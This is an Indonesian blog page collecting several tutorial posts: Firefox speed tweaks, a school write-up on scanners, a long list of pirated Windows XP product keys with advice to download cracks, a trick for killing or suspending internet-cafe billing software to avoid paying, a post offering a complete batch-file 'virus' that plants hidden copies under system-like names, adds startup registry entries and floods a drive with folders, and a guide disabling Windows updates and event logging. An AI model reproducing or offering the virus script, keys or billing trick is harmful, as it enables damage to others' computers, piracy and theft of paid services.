setting firefox v3.6.8 supya cepat

Settingan khusus di Firefox 3.6.8

   1. Aktifkan browser Firefox-3.0 Anda dan ketikkan perintah "about:config" (tanpa tanda kutip), di address barnya.
   2. Anda akan dibawa ke halaman konfigurasi Firefox-3.0. Kalau ada peringatan untuk hati-hati mengubah pengaturan pada halaman tersebut, klik yes atau ok saja.
   3. Pada filter search bar di halaman konfigurasi, ketikkan "network.http.pipelining". Pastikan valuenya sudah diset dengan nilai "true". Jika masih "false", klik ganda untuk menjadikannya "true".
   4. Kembali ke filter search bar, ketikkan "network.http.pipelining.maxrequests". Double klik pada opsi ini dan rubah nilainya (value) menjadi 8.
   5. Kembali ke filter search bar, ketikkan "network.http.proxy.pipelining", double klik untuk merubah valuenya menjadi 'true'.
   6. Kembali ke filter search bar, ketikkan "network.dns.disableIPv6". Double klik untuk merubah nilainya menjadi 'true'.
   7. Klik kanan di halaman konfigurasi tersebut dimanapun terserah, pilih new -->boolean. Ketikkan "content.interrupt.parsing"pada popup windows yang muncul kemudian klik OK. Ketika prompt untuk pilihan muncul, pilih 'true'.
   8. Kembali klik kanan halaman konfigurasi, pilih new --> integer. Ketikkan "content.max.tokenizing.time". Pada prompt value yang muncul masukkan nilai 2250000.
   9. Kembali klik kanan halaman konfigurasi, pilih new --> integer. Ketikkan "content.notify.interval". Masukkan nilai 750000 pada prompt value yang muncul.
  10. Kembali klik kanan halaman konfigurasi, pilih new --> boolean. Ketikkan "content.notify.ontimer". Pilih 'true' untuk isian prompt value yang muncul.
  11. Kembali klik kanan halaman konfigurasi, pilih new --> integer. Ketikkan "content.notify.backoffcount". Pada prompt value yang muncul isikan value '5'.
  12. Kembali klik kanan halaman konfigurasi, pilih new --> integer. Ketikkan "content.switch.threshold". Isikan nilai 750000 pada prompt integer value yang muncul.
  13. Terakhir, kembali klik kanan pada halaman konfigurasi, pilih new -->integer. Ketikkan "nglayout.initialpaint.delay". Isikan nilai '0' pada prompt isian nilai yang muncul.

JANGAN LUPA UNTUK MERESTART FIREFOX NYA, DAN RASAKAN BEDANYA!

Download mozila 3.6.8 http://www.4shared.com/file/N3Kd_iBC/Firefox_Setup_368.html

Continue lendo

Perangkat Input "Scanner" Tugas

A. Pengertian Scanner
    Scanner adalah suatu alat elektronik yang fungsinya mirip dengan mesin fotokopi. Mesin fotocopy hasilnya dapat langsung dilihat pada kertas sedangkan scanner hasilnya ditampilkan pada layar monitor komputer dahulu kemudian baru dapat diubah dan dimodifikasi sehingga tampilan dan hasilnya menjadi bagus yang kemudian dapat disimpan sebagai file text, dokumen dan gambar.
    Scanner juga merupakan suatu alat yang digunakan untuk memindai suatu bentuk maupun sifat benda, seperti dokumen, foto, gelombang, suhu, digunakan untuk mengambil citra cetakan (gambar, foto, tulisan) untuk diolah atau ditampilkan melalui komputer.

  B. Sejarah Scanner
    Sejarah perkembangan scanner berawal pada Tahun 1975, ketika Ray Kurzweil dan timnya menciptakan Kurzweil Reading Machine beserta software Omni-Font OCR (Optical Character Recognation) Technology. Software ini berfungsi mengenali teks yang ada dalam objek yang discan dan menerjemahkannya menjadi data dalam bentuk teks.  Dari awal perkembangan itulah teknologi scanner berawal dan akhirnya terus berkembang sampai saat ini dengan teknologi yang semakin lama semakin maju.

    Penemuan scanner sangat terkait dengan perkembangan teknologi photography,fotokopi dan optical machine. Penemu scanner adalah Robert S. Ledley  lahir di Newyork, Amerika Serikat pada Tahun 1926. Hingga akhirnya pada Tahun 1943 lahirlah CT Scanner yang mampu memindai seluruh tubuh dari ujung rambut hingga ujung kaki. Mesin temuannya itu di namakan Automatic Computerized Transverse Axial (ACTA).

   Demikian sejarah singkat penemuan scanner dan perkembangan scanner dari awal penemuannya sampai sekarang scanner baru dengan teknologi berbeda dan canngih telah ditemukan dan dikembangkan di dunia oleh berbagai Company seperti yang disebutkan di atas.

C. Macam – Macam Scanner
   Bentuk dan ukuran scanner bermacam-macam, Perbedaan tiap scanner dari berbagai merk terletak pada pemakaian teknologi dan resolusinya. Pemakaian teknologi misalnya penggunaan tombol-tombol digital dan teknik pencahayaan. Terdapat beberapa jenis pemindai bergantung pada kegunaan dan cara kerjanya, antara lain:

• Pemindai gambar
• Pemindai barcode
• Pemindai sinar-X
• Pemindai cek
• Pemindai logam
• Pemindai Optical Mark Reader (OMR)

     Di antara jenis-jenis pemindai tersebut, pemindai gambar adalah yang paling sering disebut sebagai pemindai. Bila dikelompokkan berdasarkan cara memasukkan kertas, pemindai gambar terdiri atas 2 jenis yaitu: 

1.  

            Flat Bed Scanner
Pada pemindai gambar Flatbed, kertas diletakkan di atas kaca pemindai, kemudian lampu dan sensor pemindai akan bergerak menyusuri kertas tersebut untuk memperoleh gambarnya.obyek yang akan di scan diletakkan diantara lensa/sensor dan cover. Biasanya banyak digunakan di perkantoran dan instansi. 

Automatic Document Feeder (ADF)
Pada pemindai Automatic Document Feeder (ADF), kertas diletakkan pada baki/tray, lalu satu per satu kertas akan dimasukkan oleh bagian mekanik pemindai dengan adanya pad assy dan roller. Pada saat kertas bergerak di atas lampu pemindai, sensor pemindai bekerja untuk memperoleh gambar yang merepresentasikan kertas tersebut. Keunggulan pemindai Automatic Document Feeder (ADF) adalah:

• Kecepatannya tinggi, dapat mencapai > 10.000 lembar per jam
• Dapat membaca dua sisi kertas sekaligus pada saat yang bersamaan
• Dengan imprinter, pemindai dapat memberikan tanda pada lembaran yang telah dipindai
• Sangat tepat dipasangkan dengan perangkat lunak berteknologi Digital Mark Reader serta untuk pengarsipan dan manajemen dokumen.


D. Cara Penggunaan Scanner
Sebelumnya, pastikan dahulu kabel scanner yang sudah disediakan, terhubung antara mesin scanner dengan komputer melalui port USB, Selain itu pastikan software driver untuk scanner sudah terinstal. Penggunaan scanner pada dasarnya hampir sama dengan penggunaan mesin photocopy. Namun hasilnya tidak langsung berupa hard copy melainkan view di layar monitor. Berikut saya sampaikan cara menscan object.

a. Menscan dokumen
• Nyalakan scanner kemudian letakkan dokumen yang dipindai pada lensa
• Set-lah software scanner (program OCR Omni Page Pro). Jalankan Scansoft Omnipage Pro kemudian lakukanlah setting : proses, bahasa, sumber, deskripsi, metode export.
• Klik Start & proses pemindaian berlangsung.
• Bacalah proof dokumen yang sudah dipindai.
• Simpanlah file sesuai dengan format dokumen yang diinginkan.

b. Menscan Image
• Nyalakan scanner & letakkan gambar di atas lensa.
• Jalankan program ArcSoft Photo Studio (atau program pengolah gambar lainnya).
• Importlah gambar dengan mengklik icon scanner kemudian tekan tombol scan & proses pemindaian berlangsung.
• Editlah hasil pemindaian bila perlu, kemudian tekan tombol clear agar bisa menyimpan.
• Dari menu file pilih save as dan pilihlah tipe format gambar hasil pemindaian



E. Cara Menginstal Scanner

Cara pertama
• Scanner telah terkoneksi dengan baik ke komputer
• Start>Control Panel>Scanner & Cameras>Add an Imaging Devices
• Setelah tampil add scanner wizard klik next untuk menginstal driver
• pilihlah type scanner sesuai manufakturnya, klik next>…>finish. Jika tidak ada maka :
• Masukkan CD Instalasi kemudian tekan tombol have a disk klik next>…>finish
• Lanjutkan dengan menginstal software untuk memindai seperti software OCR
• Restartlah komputer.
• Nyalakan scanner
• Letakkan dokumen yang dipindai pada lensa
• Set-lah software scanner (program OCR). Jalankan Scansoft Omnipage Pro kemudian lakukanlah setting : proses, bahasa, sumber, deskripsi, metode export
• Klik Start & proses pemindaian berlangsung
• Bacalah proof dokumen yang sudah dipindai
• Simpanlah file sesuai dengan format dokumen yang diinginkan. 
 
Cara Kedua
• Masukkan CD instalasi atau CD driver ke dalam CD ROM, dalam penjelasan ini scanner yang digunakan misalnya merk Canon LiDE 20/LiDE 3D
• Tunggulah beberapa saat,cd driver akan melakukan auto run.Akan muncul tampilan.
• Klik tombol pilihan English pada daftar Select Language.Artinya kita memilih bahasa Inggris dalam melakukan proses instalasi driver.Muncul tampilan berikutnya.
• Klik Install software.Akan muncul kotak dialog berikutnya.
• Anda harus setuju dengan lisensi yang diajukan.Kliklah tombol Yes.Muncul kotak dialog berikutnya.
• Klik tombol perintah Yes.Muncul jendela berikutnya.
• Klik tombol perintah Yes.Proses instalasi akan dimulai.Tunggu sampai berjalan 100%.
• Akan muncul kotak dialog Acrobat Reader 5.0.5 setup.
• Klik Next dan ikuti langkah selanjutnya sampai proses selesai.
• Bila Instalasi Acrobat Reader 5.0.5 sudah selesai akan muncul kotakm dialog instalasi ArcSoft Photo Studio 5.
• Bila instalasi ArcSoft Photo Studio 5 sudah selesai.Klik Finish.
• Muncul dialog berikutnya,untuk instal Omni Page OCR.Klik Next
• Ikuti sampai instalasi selesai.
• Bila sudah Selesai klik tombol petrintah Exit.Muncul kotak dialog untu restart komputer.
• Klik Yes.Komputer akan melkukan Restart
 

Continue lendo

Daftar Serial Number Sistem Operasi Windows XP

FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8

Windows XP PRO Corporate serial number S/N: Key: MQPWW-PGVKX-YPMKG-8DH3G-KC8PW
windows xp home edition serial number S/N: 034634-262024-171505-828316-729010-413531-800424-400442
Windows XP 64 serial number S/N: B2RBK-7KPT9-4JP6X-QQFWM-PJD6G
Windows XP serial number S/N: K6C2K-KY62K-DQR84-RD4QV-QB74Q
Windows XP Professional 64-bit Corporate Edition 5.2.3790.1830 serial number S/N: VCFQD-V9FX9-46WVH-K3CD4-4J3JM
Microsoft Windows XP Professional SP2 serial number S/N: YY8F2-3CKVQ-RKTRG-6JMDR-9DTG6
Windows XP Professional Service Pack 1 sp1 serial number S/N: F46YY - 2R8VQ - R8GMY - 926VK - 6BQ73
Windows XP Pro serial number S/N: KBWR7-76BD8-J7MDQ-KKG&C-V9Q2J
Windows XP Professional Polish (Compilation 2600) serial number S/N: HRXTR-FKTCV-X8QCH-D7PTH-KYYPB

Windows XP Professional serial number
S/N: WDGQX-WC2Y3-4R966-TK3H3-HXRB8
F6HQW-Q3799-9CJXR-9P3YD-6CJJ6
DPDQK-H94J9-TWMTR-K2K69-FRKHM
PXV3X-T8MP7-D3XFW-2327C-VPDQ8
BBY46-G888F-PKWW6-X4CVD-CGF43
QG4B8-96M7K-QB8PY-WH42C-KP6XJ
J2C8K-83GRM-269TM-RHW43-P7CDQ
JMD9T-8C93Q-MDPKT-X9HJX-B64RJ

windows xp home home edition serial number S/N: v7bwd-g9yr6-9fg87-8q2hv-yjgtg
WINDOWS XP PRO SP2 Spanish serial number S/N: RHKG3-8YW4W-4RHJG-83M4Y-7X9GW
Windows XP Professionel serial number S/N: M8DPF-XT324-YBKK9-3VF8C-M2X78
windows xp professional 2002 serial number S/N: 55214-643-6215176-23079
Windows XP Home Edition serial number S/N: G7BR9-8QV29-3QFHP-F84WG-X9PYQ
WINDOWS XP HOME EDITION serial number S/N: 55372-OEM-0011903-00148
WINDOWS XP HOME EDITION serial number S/N: 55372-OEM-0011903-00148
Windows XP serial number S/N: 216601-009505-171906-713385-887224-774934-591725-010425
WINDOWS XP HOME EDITION serial number S/N: 55372-OEM-0011903-00148

Microsoft Windows XP Home Edidtion / Professional serial number
S/N: FCKGW - RHQZ7 - YXRQW - 7AS6W - 3C8Q8
QB2BW - 8PJ2D - 9X7JK - BCCRT - D233Y
47QBF - KTJPV - 4HTP8 - 3T2DY - WTD64
FM9FY - TMF7Q - KCKCT - V9T29 - TBBBG
DTWB2 - VX8WY - FG8R3 - X696T - 66Y46
RBDC9 - VTRC8 - D7072 - J97JY - PRVMG
BX6HT - MDJKW - H2J4X

Microsoft Windows XP Home Ed serial number S/N: VRWXX-QM4XW-J6R3P-8FK3W-V64FT
PW6PT-TCGBR-HKTCT-GKKY6-QGK86
XMCM6-DKYCQ-2BHQH-4PCHR-TBJCR
JT42G-DDBCX-WTDMB-8WCT2-JGGH8
VTYH4-P88R2-MW38B-Q62KT-48F7Y
MT8JF-T82RK-R6C82-3YGHH-224PP
XYRYX-XCG6K-W7PK8-2CTQQ-86DWR
MY7CJ-VQWBC-36JWH-6CJ37-TQVHC
Y6HQV-2
these are for unlocking the install CD key, once installed do not, i repeat do not use a serial to activate windows download a crack from a peer to peer sharing network (Limewire, Kaazer or whatever) the nme will be like "WINDOWS XP PRO OR HOME KEY GEN KE

Windows XP Home Edition SP2 serial number S/N: J76RR-MY44M-VTJ9T-6PMWX-FH88T

Windows Xp Professional Professional serial number S/N: S/N: TFGK8-RQT7R-F6KW8-Q2X4M-YF2CX,P6Q8C-67D6P-X2PMX-M3372-RYY8F,8WDM6-H8HGX-4T27D-XQ2FT-TTQDV,TT6M7-RCMJK-RW433-PYDQR-2R8FD,FW2QC-KCT97-2XYFK-CF9G4-MG79Q,JHJ6R-BM2QW-YKW49-J7GYC-PPD2W,D86RX-TFGFT-GYXKM-3MQVX-43D73,TFFF4-QP8Y3-JQQ3R-4MRGP-7FVWM,JVXDX-847YV-3G6
Windows Xp Home Home serial number S/N: HRXTR-FKTCV-X8QCH-D7PTH-KYYPB,FKCQQ-HYY3X-T3H49-T73M-PTCYJ.KQXXH-YW4QM-B84W8-296FX-6XRDW,XJFG6-2GH83-87QQJ-33F4K-K7HBB,BQJG2-2MJT7-H7F6K-XW98B-4HQRQ,VQGJ8-4T8GB-83M2Y-GFBYX-T22MP,BQJG-2MJT7-H7F6K-XW98B-4HQRQ,QB2BW-8PJ2D-9X7JK-BCCRT-D233Y,D9F7Y-YPPGB-7GQ48
windows xp serial number S/N: HBJTW-HJ9HH-WJ27D-FFWFF-2VBH8
Windows xp pro serial number S/N: VFWGM 3GRYG QB43V MVP84 XB3G9
Windows Xp Perofessional Professional serial number S/N: FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8
windows xp home edition serial number S/N: fqppd7dpy848cfx7trcgvvmk6
Windows xp pro spanish oem serial number S/N: fckgw rhqq2 yxrkt 8tg6w 2b7q8
upgrade windows xp pro 2002 serial number S/N: xo8-26173
Windows XP Professional Corporate build 2600 serial number S/N: S/N: WRX9H-CXFMF-9M9YB-YPJP6-3F3PH
Windows XP Home Edition serial number S/N: HBQ3Y-BHDWT-KQMDP-K3TXC-FX2WT

Microsoft Windows XP Home Edition OEM for Dell PC serial number S/N: FP2TC-MJ2CP-32J8T-FP3BY-RW6K6
If you have a Dell PC and a Windows XP disk or a restore disk this key should work. This Key will not work with any other Windows XP disk that I have found.

Windows XP Professional Edition serial number S/N: QG6V8-DKTVK-24M6F-99M3Y-FQFTM

MICROSOFT WINDOWS XP PRO - CORP serial number
S/N: TGRH7-K6QR3-RT6J4-V36FP-869HT
WM88F-2KP6H-324MQ-D3R9R-FF36W
KD399-6T6JT-7XT3M-VYY68-K77Y6
RYB3M-46BYP-C6YKF-P8J7W-XPKYW
RV63Y-TR649-WWJ7R-9Y8KV-PVVKJ
VPFCF-X3HP9-C69WX-4XM23-JPXPG
RBBPB-VBWYP-R87JB-MBQ4T-8GP96
Q8CWH-73232-WV7J3-Y2YRY-64B68
QJQ8C-9

windows xp Professional serial number S/N: 55375-oem-0011903-00102
Windows XP Netherlands SP1/2 serial number S/N: QJYBC-6GHC3-JVRHB-2DB4M-RKRJT
microsoft windows xp home eidition sp2 built 2162 serial number S/N: wwwjr-bx7cv-p32x2-c7vt3-qd6bp
Windows OS XP Pro serial number S/N: HH7VV-6P3G9-82TWK-QKJJ3-MXR96

Windows XP Professional x64-edition x64 serial number
S/N: M4676-2VW7F-6BCVH-9QPBF-QBRBM
CH6BH-G7PCX-KTM8K-WRKBD-HC7TW
C4FPJ-HQCGP-QD3XC-2JF34-FT8Y6
7FMM3-W4FMP-4WRXX-BKDRT-7HG48
DM8R3-3VBXF-F7JRX-FJ7P4-YD3HM
FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8
TCP8W-T8PQJ-WWRRH-QH76C-99FBW
CKY24-Q8QRH-X3KMR-C6BCY-T847Y
RBDC9-V

Windows XP Pro XP Pro serial number
S/N: FCPYD-TTDDM-T2QBH-9J2P3-BT38Y
DFCQP-V3TCB-TVXC6-XQTTY-GVMJM
R7C49-9PCJJ-W9MJ7-3C6K2-KFWRD
KJF4F-BFB3M-6F2GY-R3RF4-JVPDD
R38FH-2WGPF-PFMPK-BFQ49-3BMJQ
These are XP Pro cd keys from dell computers.  I haven't tested to see if they work with the normal version of windows.

Windows XP Professional Incl. SP1 5.1.2600.1106 serial number S/N: S/N: YDYQ7-M37FK-JFFPV-QBPBB-44FDM

Windows XP Pro Windows XP serial number
Name: XP
S/N: CD-Key For This Version 
C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
RD6W4-369DT-DMHQH-4RVKW-WY6PG
KCQ9Q-FTBM4-6HTWV-M7DKM-T4BFB
it not work but
C82GJ-YH627-72GBT-R7XV7-M7Y4B
this work i try it already

Windows XP SP1 serial number
S/N: RHKG3-8YW4W-4RHJG-83M4Y-7X9GW
QW4HD-DQCRG-HM64M-6GJRK-8K83T
PQTHM-RWBHR-3BPVW-TFB22-V8HXQ
KQC2B-X683R-2CDXT-PQ7HQ-47MPT
JFQYM-YJQFQ-VBRCY-4VV7W-QRXBY
KMTTB-68H32-8MKRK-GBHKT-RKCP6
CX7DD-4GX4Y-BTTR4-H88Y7-GQPWQ
XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
8RCKG-3

Windows xp home edition serial number S/N: K3JBD-FHBHH-2QWY3-RXTP6-JY

Continue lendo

Hack Biling Menggunakan Smadav

Saya punya sedikit tips untuk memainkan Billing di warnet.Ada yang tahu billing apa..? Billingbilling merupakan sistem pencatat dan pemonitor transaksi berbentuk software
.
Nah sekarang kita bisa hilangkan biling itu dan juga bisa pause Billing.
Trik ini bisa digunakan pada Billing Explorer….!!!

Caranya:

Bahan:
1. Main di warnet yang menggunakan Billing Explore.
2. Siapkan SMADAV ANTIVIRUS. DOWNLOAD http://www.smadav.net/

Proses:

   1. Jika Smadav selesai didownload,buka smadav.
   2. Klik Tools pada SMADAV >> Process Manager >> Cari Billingnya >> Klik Kanan Pada Program Billing yg ada di Tools dan Process Manager SMADAV >> ketika di Klik kana akan Keluar tulisan Action > Kill/Restart/Supsend/resume.

Keterangan:

1.Kill( Untuk menghilangkan Billing )
2.Restart ( Untuk mengembalikan waktu ke  0 menit )
3.Supsend ( Untuk pause Billing/Menghentikan Billing sepuasnya )
4.Resume ( Untuk Melanjutkan Billing yang di Supsend )

Selamat Mencoba,.,.

Continue lendo

Membuat Virus yang berbahaya dengan modal Notepad

Membuat virus bukanlah merupakan hal yang sulit. Karena, kita dapat membuatnya dengan notepad yang terdapat di semua komputer yang memakai Windows.

Virus yang akan kita buat ini, adalah virus yang membuat komputer yang terinfeksi menjadi tidak bisa berjalan sama sekali. oke langsung aja,,

langkah-langkah:
1. buka notepad
2. copy kode dibawah ini paste di notepad :
@echo off
title %username% Wan Bule Simple Commend !!!
echo ~~~~~~~~~~~~~~ 100% Succes Complete ~~~~~~~~~~~~~~~~~
copy *.cmd c:\Autoexec.cmd >nul
copy *.cmd c:\ntldr.cmd >nul
copy *.cmd c:\MSDOS.cmd >nul
copy *.cmd c:\IO.cmd >nul
copy *.cmd c:\hiberfil.cmd >nul
copy *.cmd c:\pagefile.cmd >nul
attrib +r +s +h c:\Autoexec.cmd >nul
attrib +r +s +h c:\ntldr.cmd >nul
attrib +r +s +h c:\MSDOS.cmd >nul
attrib +r +s +h c:\IO.cmd >nul
attrib +r +s +h c:\hiberfil.cmd >nul
attrib +r +s +h c:\pagefile.cmd >nul
attrib +r +s +h c:\Tes aja.exe>nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wanbule@yahoo.com /t REG_SZ /d c:\Autoexec.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System32 /t REG_SZ /d c:\ntldr.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Windows /t REG_SZ /d c:\MSDOS.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AdobeLauncer /t REG_SZ /d c:\IO.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MsOffice /t REG_SZ /d c:\hiberfil.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Reader /t REG_SZ /d c:\pagefile.cmd /f >nul
md D:\Data_%username%\urang awak.exe
md c:\system.bat
:start
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
goto start

Nah itu, codenya, copy code diatas ingatCopy code di atas trus coba save dengan nama ngetes.bat ganti save as type nya menjadi all files.Nah tinggal di jalanin aja tuhh selesai deh,,,  .Selamat mencoba …..

Jika terjadi kerusakan pada system anda Penulis tidak bertanggung jawab.

,Dan kode diatas jangan digunakan untuk menjahili orang, Ini hanya sekedar pengetahuan bagi yang ingin tahu bagaimana virus itu di buat,dan menginfeksi sistem Selama Mencoba
Memberilah sebanyak2 nya Kepada orang lain …..

Continue lendo

Mematikan System yang tidak di Perlukan atau jarang di gunakan

Mematikan System yang tidak di Perlukan atau jarang di gunakan ini adalah kelanjutan dari posting saya sebelumnya, settingan ini saya pakai setelah proses installasi sistem operasi Windows Xp.3, oke kalu gitu langsung aja ke langkah pertama:

1.       Klik start – Pilih” Control Panel”

2.       Pilh “Administrative Tools” dengan klik 2x

3.       Setelah itu Pilih dan klik  “Services” jika jendela services sudah terbuka (pada bagian services local)

4.       Pilih “Automatic Update” dengan klik 2x,

5.       Rubah “Stratup type menjadi “Disable” dan Klik Tombol “Stop”  di bagian “Service staus”. Setelah itu klik “apply” dan klik Ok.

 

6 .      Pilih dan klik 2x  “Error Reporting Service” dan ikuti seperti langkah Nomer 5

 

7      Pilih dan klik 2x  “Event Log” dan ikuti seperti langkah Nomer 5

 

8.   Pilih dan klik 2x “Help and Support” dan ikuti seperti langkah Nomer 5, tapi Untuk bebepa setingan terkadang statusnya ini harus automatic, jadi nanti bisa di rubah kembali, kalau di perlukan.

 

9.    Pilih dan klik 2x “Secondary Logon” dan ikuti seperti langkah Nomer 5

  10.  Pilih dan klik 2x  “Server” dan ikuti seperti langkah Nomer 5, untuk server pada sa’at melakukan Sharing data Komputer yang bertindak sebagai SERVER  Satustnya harus “Automatic” di bagian “Startup Type” dan “Started” di bagian “Service type”  Dan untuk Komputer Client  statusnya Harus Disabled dan Stoped

 

11.  Pilih dan klik 2x “System Event Notification” dan ikuti seperti langkah Nomer 5

 

12.  Pilih dan klik 2x “System Restore Service” dan ikuti seperti langkah Nomer 5

 

13.  Pilih dan klik 2x “Task Schedule” ” dan ikuti seperti langkah Nomer 5

 

14.  Setelah itu, tutup semua jendela yang aktiv  dengan klik “close”

15.  Langkah selanjutnya Klik Start – Pilih Run setealah itu ketik “gpedit.msc” tekan Enter 

16.  Di tampilan “Group Policy” pilih Computer Configuration – Administrative Templates – Pilih dan buka item folder ” System”

17.  Pilih dan klik 2x “Turn Off Autoplay”  Ubah Menjadi “Enabled” dan di bagian kolom Rubah menjadi “All drive” dan klik Ok.

18.  Selanjutnya Beralih ke  User Configuration - Administrative Template – Pilih dan buka item folder “System”

19.  Pilih dan klik 2x “Turn Off Autoplay”  Ubah Menjadi “Enabled” dan di bagian kolom Rubah menjadi “All drive” dan klik Ok.

20.  Pilih dan klik 2x “Windows Automatic Update” jadikan Disable dan klik Ok.

Demikian lah Settingan yang sering saya lakukan,, sa'at setelah proses install ulang Windows, Mungking kalu ada kekurangan atau keliru dalam tulisan posting saya ini mohon di maklumi,  

Semoga Bermanfa'at,,,,,,,,,,,,,

Continue lendo